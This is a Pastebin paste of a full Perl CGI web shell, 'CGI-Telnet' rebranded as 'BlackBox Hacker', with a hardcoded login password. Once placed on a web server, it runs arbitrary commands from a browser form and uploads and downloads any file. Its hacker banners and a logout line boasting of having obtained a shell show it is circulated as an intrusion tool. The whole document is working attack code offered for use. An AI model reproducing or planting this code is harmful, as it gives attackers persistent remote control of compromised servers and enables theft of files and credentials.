rootma01

Untitled

Jul 2nd, 2018
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.98 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #------------------------------------------------------------------------------
  3. # Copyright and Licence
  4. #------------------------------------------------------------------------------
  5. # CGI-Telnet Version 2.0 for NT and Unix : Run Commands on your Web Server
  6. #
  7. # Copyright (C) 2004 Andi Mustafa
  8. # Permission is granted to use, distribute and modify this script so long
  9. # as this copyright notice is left intact. If you make changes to the script
  10. # please document them and inform me. If you would like any changes to be made
  11. # in this script, you can e-mail me.
  12. #
  13. # Author: kuris
  14. # Author e-mail: [email protected]
  15. # Author Homepage: http://www.kupu2hitamputih.com/
  16. # Script Homepage: http://support.kupu2hitamputih.com/OO7.txt
  17. # Product Support: http://support.kupu2hitamputih.com/
  18. # Discussion Forum: http://www.kupu2hitamputih.com/LiveZone/
  19. # Mailing List: http://www.kupu2hitamputih.com/
  20. #------------------------------------------------------------------------------
  21.  
  22. #------------------------------------------------------------------------------
  23. # Installation
  24. #------------------------------------------------------------------------------
  25. # To install this script
  26. #
  27. # 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on
  28. # your server. For most servers, you may not need to modify this.
  29. # 2. Change the password in the Configuration section below.
  30. # 3. If you're running the script under Windows NT, set $WinNT = 1 in the
  31. # Configuration Section below.
  32. # 4. Upload the script to a directory on your server which has permissions to
  33. # execute CGI scripts. This is usually cgi-bin. Make sure that you upload
  34. # the script in ASCII mode.
  35. # 5. Change the permission (CHMOD) of the script to 755.
  36. # 6. Open the script in your web browser. If you uploaded the script in
  37. # cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
  38. # 7. Login using the password that you specified in Step 2.
  39. #------------------------------------------------------------------------------
  40.  
  41. #------------------------------------------------------------------------------
  42. # Configuration: You need to change only $Password and $WinNT. The other
  43. # values should work fine for most systems.
  44. #------------------------------------------------------------------------------
  45. $Password = "BlackBox"; # Change this. You will need to enter this
  46. # to login.
  47.  
  48. $WinNT = 0; # You need to change the value of this to 1 if
  49. # you're running this script on a Windows NT
  50. # machine. If you're running it on Unix, you
  51. # can leave the value as it is.
  52.  
  53. $NTCmdSep = "&"; # This character is used to seperate 2 commands
  54. # in a command line on Windows NT.
  55.  
  56. $UnixCmdSep = ";"; # This character is used to seperate 2 commands
  57. # in a command line on Unix.
  58.  
  59. $CommandTimeoutDuration = 10; # Time in seconds after commands will be killed
  60. # Don't set this to a very large value. This is
  61. # useful for commands that may hang or that
  62. # take very long to execute, like "find /".
  63. # This is valid only on Unix servers. It is
  64. # ignored on NT Servers.
  65.  
  66. $ShowDynamicOutput = 1; # If this is 1, then data is sent to the
  67. # browser as soon as it is output, otherwise
  68. # it is buffered and send when the command
  69. # completes. This is useful for commands like
  70. # ping, so that you can see the output as it
  71. # is being generated.
  72.  
  73. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  74.  
  75. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  76. $CmdPwd = ($WinNT ? "cd" : "pwd");
  77. $PathSep = ($WinNT ? "\\" : "/");
  78. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  79.  
  80. #------------------------------------------------------------------------------
  81. # Reads the input sent by the browser and parses the input variables. It
  82. # parses GET, POST and multipart/form-data that is used for uploading files.
  83. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  84. # Other variables can be accessed using $in{'var'}, where var is the name of
  85. # the variable. Note: Most of the code in this function is taken from other CGI
  86. # scripts.
  87. #------------------------------------------------------------------------------
  88. sub ReadParse
  89. {
  90. local (*in) = @_ if @_;
  91. local ($i, $loc, $key, $val);
  92.  
  93. $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  94.  
  95. if($ENV{'REQUEST_METHOD'} eq "GET")
  96. {
  97. $in = $ENV{'QUERY_STRING'};
  98. }
  99. elsif($ENV{'REQUEST_METHOD'} eq "POST")
  100. {
  101. binmode(STDIN) if $MultipartFormData & $WinNT;
  102. read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  103. }
  104.  
  105. # handle file upload data
  106. if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  107. {
  108. $Boundary = '--'.$1; # please refer to RFC1867
  109. @list = split(/$Boundary/, $in);
  110. $HeaderBody = $list[1];
  111. $HeaderBody =~ /\r\n\r\n|\n\n/;
  112. $Header = $`;
  113. $Body = $';
  114. $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  115. $in{'filedata'} = $Body;
  116. $Header =~ /filename=\"(.+)\"/;
  117. $in{'f'} = $1;
  118. $in{'f'} =~ s/\"//g;
  119. $in{'f'} =~ s/\s//g;
  120.  
  121. # parse trailer
  122. for($i=2; $list[$i]; $i++)
  123. {
  124. $list[$i] =~ s/^.+name=$//;
  125. $list[$i] =~ /\"(\w+)\"/;
  126. $key = $1;
  127. $val = $';
  128. $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  129. $val =~ s/%(..)/pack("c", hex($1))/ge;
  130. $in{$key} = $val;
  131. }
  132. }
  133. else # standard post data (url encoded, not multipart)
  134. {
  135. @in = split(/&/, $in);
  136. foreach $i (0 .. $#in)
  137. {
  138. $in[$i] =~ s/\+/ /g;
  139. ($key, $val) = split(/=/, $in[$i], 2);
  140. $key =~ s/%(..)/pack("c", hex($1))/ge;
  141. $val =~ s/%(..)/pack("c", hex($1))/ge;
  142. $in{$key} .= "\0" if (defined($in{$key}));
  143. $in{$key} .= $val;
  144. }
  145. }
  146. }
  147.  
  148. #------------------------------------------------------------------------------
  149. # Prints the HTML Page Header
  150. # Argument 1: Form item name to which focus should be set
  151. #------------------------------------------------------------------------------
  152. sub PrintPageHeader
  153. {
  154. $EncodedCurrentDir = $CurrentDir;
  155. $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  156. print "Content-type: text/html\n\n";
  157. print <<END;
  158. <html>
  159. <head>
  160. <title>CGI-Telnet Version 3.0 stone love~ </title>
  161. $HtmlMetaHeader
  162. </head>
  163. <body onLoad="document.f.@_.focus()" bgcolor="#000000" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" link="#55AAFF" vlink="#55AAFF" alink="#55AAFF">
  164. <table border="0" width="1006" cellspacing="0" cellpadding="2" style="border-collapse: collapse">
  165. <tr>
  166. <td bgcolor="#C0C0C0" bordercolor="#000080" align="center" width="41">
  167. <font size="2" color="#000080"><b>::: </b></font></td>
  168. <td bgcolor="#FF0000" width="951"><font face="Verdana" size="2" color="#FFFFFF"><b>CGI-Telnet Version
  169. 3.0 BlackBox - Connected to $ServerName</b></font></td>
  170. </tr>
  171. <tr>
  172. <td colspan="2" bgcolor="#55AAFF" width="998"><font face="Verdana" size="2">
  173. <a style="text-decoration:none" href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">
  174. <font color="#FFFFFF">Upload File</font></a><font color="#FFFFFF"> | </font>
  175. <a style="text-decoration:none" href="$ScriptLocation?a=download&d=$EncodedCurrentDir">
  176. <font color="#FFFFFF">Download File</font></a><font color="#FFFFFF"> | </font>
  177. <a style="text-decoration:none" href="$ScriptLocation?a=logout">
  178. <font color="#FFFFFF">Out</font></a><font color="#FFFFFF"> | </font>
  179. <a style="text-decoration:none" href="X">
  180. <font color="#FFFFFF"></font></a><font color="#FFFFFF"> </font>
  181. </font></td>
  182. </tr>
  183. </table>
  184. <font color="#C0C0C0" size="3">
  185. END
  186. }
  187.  
  188. #------------------------------------------------------------------------------
  189. # Prints the Login Screen
  190. #------------------------------------------------------------------------------
  191. sub PrintLoginScreen
  192. {
  193. $Message = q$<pre><font color="#669999"> _____ _____ _____ _____ _ _
  194. / __ \| __ \|_ _| |_ _| | | | |
  195. | / \/| | \/ | | ______ | | ___ | | _ __ ___ | |_
  196. | | | | __ | | |______| | | / _ \| || '_ \ / _ \| __|
  197. | \__/\| |_\ \ _| |_ | | | __/| || | | || __/| |_
  198. \____/ \____/ \___/ \_/ \___||_||_| |_| \___| \__| 3.0
  199.  
  200. </font><font color="#FF0000">
  201. <font face="Tahoma"> </font></font><font color="#AE8300" face="Tahoma"> ~ * BlackBox Hacker* ~</font></pre>
  202. $;
  203. #'
  204. print <<END;
  205. <code>
  206. Trying $ServerName...<br>
  207. Connected to $ServerName<br>
  208. Escape character is ^]
  209. <code>$Message
  210. END
  211. }
  212.  
  213. #------------------------------------------------------------------------------
  214. # Prints the message that informs the user of a failed login
  215. #------------------------------------------------------------------------------
  216. sub PrintLoginFailedMessage
  217. {
  218. print <<END;
  219. <code>
  220. <br>
  221. </code>
  222. </font>
  223. <code>
  224. <font color="#FF0000" size="3">
  225. login</font><font color="#C0C0C0" size="3">: root<br>
  226. </font>
  227. <font color="#FF0000" size="3">
  228. password</font><font color="#C0C0C0" size="3">:<br>
  229. <b>Login incorrect</b><br><br>
  230. </font>
  231. </code>
  232. <font color="#C0C0C0" size="3">
  233. END
  234. }
  235.  
  236. #------------------------------------------------------------------------------
  237. # Prints the HTML form for logging in
  238. #------------------------------------------------------------------------------
  239. sub PrintLoginForm
  240. {
  241. print <<END;
  242. <code>
  243. <form name="f" method="POST" action="$ScriptLocation">
  244. <input type="hidden" name="a" value="login">
  245. login: </font>
  246. <font color="#00A3F0" size="3">
  247. root</font><font color="#C0C0C0" size="3"><br>
  248. password:<input type="password" name="p" size="20">
  249. <input type="submit" value="Enter">
  250. </form>
  251. </code>
  252. END
  253. }
  254.  
  255. #------------------------------------------------------------------------------
  256. # Prints the footer for the HTML Page
  257. #------------------------------------------------------------------------------
  258. sub PrintPageFooter
  259. {
  260. print "</font></body></html>";
  261. }
  262.  
  263. #------------------------------------------------------------------------------
  264. # Retreives the values of all cookies. The cookies can be accesses using the
  265. # variable $Cookies{''}
  266. #------------------------------------------------------------------------------
  267. sub GetCookies
  268. {
  269. @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  270. foreach $cookie(@httpcookies)
  271. {
  272. ($id, $val) = split(/=/, $cookie);
  273. $Cookies{$id} = $val;
  274. }
  275. }
  276.  
  277. #------------------------------------------------------------------------------
  278. # Prints the screen when the user logs out
  279. #------------------------------------------------------------------------------
  280. sub PrintLogoutScreen
  281. {
  282. print "<code>Duch leganya udah dapat shell qe3.<br><br></code>";
  283. }
  284.  
  285. #------------------------------------------------------------------------------
  286. # Logs out the user and allows the user to login again
  287. #------------------------------------------------------------------------------
  288. sub PerformLogout
  289. {
  290. print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  291. &PrintPageHeader("p");
  292. &PrintLogoutScreen;
  293. &PrintLoginScreen;
  294. &PrintLoginForm;
  295. &PrintPageFooter;
  296. }
  297.  
  298. #------------------------------------------------------------------------------
  299. # This function is called to login the user. If the password matches, it
  300. # displays a page that allows the user to run commands. If the password doens't
  301. # match or if no password is entered, it displays a form that allows the user
  302. # to login
  303. #------------------------------------------------------------------------------
  304. sub PerformLogin
  305. {
  306. if($LoginPassword eq $Password) # password matched
  307. {
  308. print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  309. &PrintPageHeader("c");
  310. &PrintCommandLineInputForm;
  311. &PrintPageFooter;
  312. }
  313. else # password didn't match
  314. {
  315. &PrintPageHeader("p");
  316. &PrintLoginScreen;
  317. if($LoginPassword ne "") # some password was entered
  318. {
  319. &PrintLoginFailedMessage;
  320. }
  321. &PrintLoginForm;
  322. &PrintPageFooter;
  323. }
  324. }
  325.  
  326. #------------------------------------------------------------------------------
  327. # Prints the HTML form that allows the user to enter commands
  328. #------------------------------------------------------------------------------
  329. sub PrintCommandLineInputForm
  330. {
  331. $Prompt = $WinNT ? "$CurrentDir> " : "[root\@$ServerName $CurrentDir]\$ ";
  332. print <<END;
  333. <code>
  334. <form name="f" method="POST" action="$ScriptLocation">
  335. <input type="hidden" name="a" value="command">
  336. <input type="hidden" name="d" value="$CurrentDir">
  337. $Prompt
  338. <input type="text" name="c" size="20">
  339. <input type="submit" value="Enter">
  340. </form>
  341. </code>
  342. END
  343. }
  344.  
  345. #------------------------------------------------------------------------------
  346. # Prints the HTML form that allows the user to download files
  347. #------------------------------------------------------------------------------
  348. sub PrintFileDownloadForm
  349. {
  350. $Prompt = $WinNT ? "$CurrentDir> " : "[root\@$ServerName $CurrentDir]\$ ";
  351. print <<END;
  352. <code>
  353. <form name="f" method="POST" action="$ScriptLocation">
  354. <input type="hidden" name="d" value="$CurrentDir">
  355. <input type="hidden" name="a" value="download">
  356. $Prompt download<br><br>
  357. Filename: <input type="text" name="f" size="35"><br><br>
  358. Download: <input type="submit" value="Begin">
  359. </form>
  360. </code>
  361. END
  362. }
  363.  
  364. #------------------------------------------------------------------------------
  365. # Prints the HTML form that allows the user to upload files
  366. #------------------------------------------------------------------------------
  367. sub PrintFileUploadForm
  368. {
  369. $Prompt = $WinNT ? "$CurrentDir> " : "[root\@$ServerName $CurrentDir]\$ ";
  370. print <<END;
  371. <code>
  372. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  373. $Prompt upload<br><br>
  374. Filename: <input type="file" name="f" size="35"><br><br>
  375. Options: <input type="checkbox" name="o" value="overwrite">
  376. Overwrite if it Exists<br><br>
  377. Upload: <input type="submit" value="Begin">
  378. <input type="hidden" name="d" value="$CurrentDir">
  379. <input type="hidden" name="a" value="upload">
  380. </form>
  381. </code>
  382. END
  383. }
  384.  
  385. #------------------------------------------------------------------------------
  386. # This function is called when the timeout for a command expires. We need to
  387. # terminate the script immediately. This function is valid only on Unix. It is
  388. # never called when the script is running on NT.
  389. #------------------------------------------------------------------------------
  390. sub CommandTimeout
  391. {
  392. if(!$WinNT)
  393. {
  394. alarm(0);
  395. print <<END;
  396. </xmp>
  397. <code>
  398. Command exceeded maximum time of $CommandTimeoutDuration second(s).
  399. <br>Killed it!
  400. END
  401. &PrintCommandLineInputForm;
  402. &PrintPageFooter;
  403. exit;
  404. }
  405. }
  406.  
  407. #------------------------------------------------------------------------------
  408. # This function is called to execute commands. It displays the output of the
  409. # command and allows the user to enter another command. The change directory
  410. # command is handled differently. In this case, the new directory is stored in
  411. # an internal variable and is used each time a command has to be executed. The
  412. # output of the change directory command is not displayed to the users
  413. # therefore error messages cannot be displayed.
  414. #------------------------------------------------------------------------------
  415. sub ExecuteCommand
  416. {
  417. if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  418. {
  419. # we change the directory internally. The output of the
  420. # command is not displayed.
  421.  
  422. $OldDir = $CurrentDir;
  423. $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  424. chop($CurrentDir = `$Command`);
  425. &PrintPageHeader("c");
  426. $Prompt = $WinNT ? "$OldDir> " : "[root\@$ServerName $OldDir]\$ ";
  427. print "$Prompt $RunCommand";
  428. }
  429. else # some other command, display the output
  430. {
  431. &PrintPageHeader("c");
  432. $Prompt = $WinNT ? "$CurrentDir> " : "[root\@$ServerName $CurrentDir]\$ ";
  433. print "$Prompt $RunCommand<xmp>";
  434. $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  435. if(!$WinNT)
  436. {
  437. $SIG{'ALRM'} = \&CommandTimeout;
  438. alarm($CommandTimeoutDuration);
  439. }
  440. if($ShowDynamicOutput) # show output as it is generated
  441. {
  442. $|=1;
  443. $Command .= " |";
  444. open(CommandOutput, $Command);
  445. while(<CommandOutput>)
  446. {
  447. $_ =~ s/(\n|\r\n)$//;
  448. print "$_\n";
  449. }
  450. $|=0;
  451. }
  452. else # show output after command completes
  453. {
  454. print `$Command`;
  455. }
  456. if(!$WinNT)
  457. {
  458. alarm(0);
  459. }
  460. print "</xmp>";
  461. }
  462. &PrintCommandLineInputForm;
  463. &PrintPageFooter;
  464. }
  465.  
  466. #------------------------------------------------------------------------------
  467. # This function displays the page that contains a link which allows the user
  468. # to download the specified file. The page also contains a auto-refresh
  469. # feature that starts the download automatically.
  470. # Argument 1: Fully qualified filename of the file to be downloaded
  471. #------------------------------------------------------------------------------
  472. sub PrintDownloadLinkPage
  473. {
  474. local($FileUrl) = @_;
  475. if(-e $FileUrl) # if the file exists
  476. {
  477. # encode the file link so we can send it to the browser
  478. $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  479. $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  480. $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  481. &PrintPageHeader("c");
  482. print <<END;
  483. <code>
  484. Sending File $TransferFile...<br>
  485. If the download does not start automatically,
  486. <a href="$DownloadLink">Click Here</a>.
  487. END
  488. &PrintCommandLineInputForm;
  489. &PrintPageFooter;
  490. }
  491. else # file doesn't exist
  492. {
  493. &PrintPageHeader("f");
  494. print "Failed to download $FileUrl: $!";
  495. &PrintFileDownloadForm;
  496. &PrintPageFooter;
  497. }
  498. }
  499.  
  500. #------------------------------------------------------------------------------
  501. # This function reads the specified file from the disk and sends it to the
  502. # browser, so that it can be downloaded by the user.
  503. # Argument 1: Fully qualified pathname of the file to be sent.
  504. #------------------------------------------------------------------------------
  505. sub SendFileToBrowser
  506. {
  507. local($SendFile) = @_;
  508. if(open(SENDFILE, $SendFile)) # file opened for reading
  509. {
  510. if($WinNT)
  511. {
  512. binmode(SENDFILE);
  513. binmode(STDOUT);
  514. }
  515. $FileSize = (stat($SendFile))[7];
  516. ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
  517. print "Content-Type: application/x-unknown\n";
  518. print "Content-Length: $FileSize\n";
  519. print "Content-Disposition: attachment; filename=$1\n\n";
  520. print while(<SENDFILE>);
  521. close(SENDFILE);
  522. }
  523. else # failed to open file
  524. {
  525. &PrintPageHeader("f");
  526. print "Failed to download $SendFile: $!";
  527. &PrintFileDownloadForm;
  528. &PrintPageFooter;
  529. }
  530. }
  531.  
  532.  
  533. #------------------------------------------------------------------------------
  534. # This function is called when the user downloads a file. It displays a message
  535. # to the user and provides a link through which the file can be downloaded.
  536. # This function is also called when the user clicks on that link. In this case,
  537. # the file is read and sent to the browser.
  538. #------------------------------------------------------------------------------
  539. sub BeginDownload
  540. {
  541. # get fully qualified path of the file to be downloaded
  542. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  543. (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  544. {
  545. $TargetFile = $TransferFile;
  546. }
  547. else # path is relative
  548. {
  549. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  550. $TargetFile .= $PathSep.$TransferFile;
  551. }
  552.  
  553. if($Options eq "go") # we have to send the file
  554. {
  555. &SendFileToBrowser($TargetFile);
  556. }
  557. else # we have to send only the link page
  558. {
  559. &PrintDownloadLinkPage($TargetFile);
  560. }
  561. }
  562.  
  563. #------------------------------------------------------------------------------
  564. # This function is called when the user wants to upload a file. If the
  565. # file is not specified, it displays a form allowing the user to specify a
  566. # file, otherwise it starts the upload process.
  567. #------------------------------------------------------------------------------
  568. sub UploadFile
  569. {
  570. # if no file is specified, print the upload form again
  571. if($TransferFile eq "")
  572. {
  573. &PrintPageHeader("f");
  574. &PrintFileUploadForm;
  575. &PrintPageFooter;
  576. return;
  577. }
  578. &PrintPageHeader("c");
  579.  
  580. # start the uploading process
  581. print "Uploading $TransferFile to $CurrentDir...<br>";
  582.  
  583. # get the fullly qualified pathname of the file to be created
  584. chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  585. $TransferFile =~ m!([^/^\\]*)$!;
  586. $TargetName .= $PathSep.$1;
  587.  
  588. $TargetFileSize = length($in{'filedata'});
  589. # if the file exists and we are not supposed to overwrite it
  590. if(-e $TargetName && $Options ne "overwrite")
  591. {
  592. print "Failed: Destination file already exists.<br>";
  593. }
  594. else # file is not present
  595. {
  596. if(open(UPLOADFILE, ">$TargetName"))
  597. {
  598. binmode(UPLOADFILE) if $WinNT;
  599. print UPLOADFILE $in{'filedata'};
  600. close(UPLOADFILE);
  601. print "Transfered $TargetFileSize Bytes.<br>";
  602. print "File Path: $TargetName<br>";
  603. }
  604. else
  605. {
  606. print "Failed: $!<br>";
  607. }
  608. }
  609. print "";
  610. &PrintCommandLineInputForm;
  611. &PrintPageFooter;
  612. }
  613.  
  614. #------------------------------------------------------------------------------
  615. # This function is called when the user wants to download a file. If the
  616. # filename is not specified, it displays a form allowing the user to specify a
  617. # file, otherwise it displays a message to the user and provides a link
  618. # through which the file can be downloaded.
  619. #------------------------------------------------------------------------------
  620. sub DownloadFile
  621. {
  622. # if no file is specified, print the download form again
  623. if($TransferFile eq "")
  624. {
  625. &PrintPageHeader("f");
  626. &PrintFileDownloadForm;
  627. &PrintPageFooter;
  628. return;
  629. }
  630.  
  631. # get fully qualified path of the file to be downloaded
  632. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  633. (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  634. {
  635. $TargetFile = $TransferFile;
  636. }
  637. else # path is relative
  638. {
  639. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  640. $TargetFile .= $PathSep.$TransferFile;
  641. }
  642.  
  643. if($Options eq "go") # we have to send the file
  644. {
  645. &SendFileToBrowser($TargetFile);
  646. }
  647. else # we have to send only the link page
  648. {
  649. &PrintDownloadLinkPage($TargetFile);
  650. }
  651. }
  652.  
  653. #------------------------------------------------------------------------------
  654. # Main Program - Execution Starts Here
  655. #------------------------------------------------------------------------------
  656. &ReadParse;
  657. &GetCookies;
  658.  
  659. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  660. $ServerName = $ENV{'SERVER_NAME'};
  661. $LoginPassword = $in{'p'};
  662. $RunCommand = $in{'c'};
  663. $TransferFile = $in{'f'};
  664. $Options = $in{'o'};
  665.  
  666. $Action = $in{'a'};
  667. $Action = "login" if($Action eq ""); # no action specified, use default
  668.  
  669. # get the directory in which the commands will be executed
  670. $CurrentDir = $in{'d'};
  671. chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  672.  
  673. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  674.  
  675. if($Action eq "login" || !$LoggedIn) # user needs/has to login
  676. {
  677. &PerformLogin;
  678. }
  679. elsif($Action eq "command") # user wants to run a command
  680. {
  681. &ExecuteCommand;
  682. }
  683. elsif($Action eq "upload") # user wants to upload a file
  684. {
  685. &UploadFile;
  686. }
  687. elsif($Action eq "download") # user wants to download a file
  688. {
  689. &DownloadFile;
  690. }
  691. elsif($Action eq "logout") # user wants to logout
  692. {
  693. &PerformLogout;
  694. }
Advertisement
Add Comment
Please, Sign In to add comment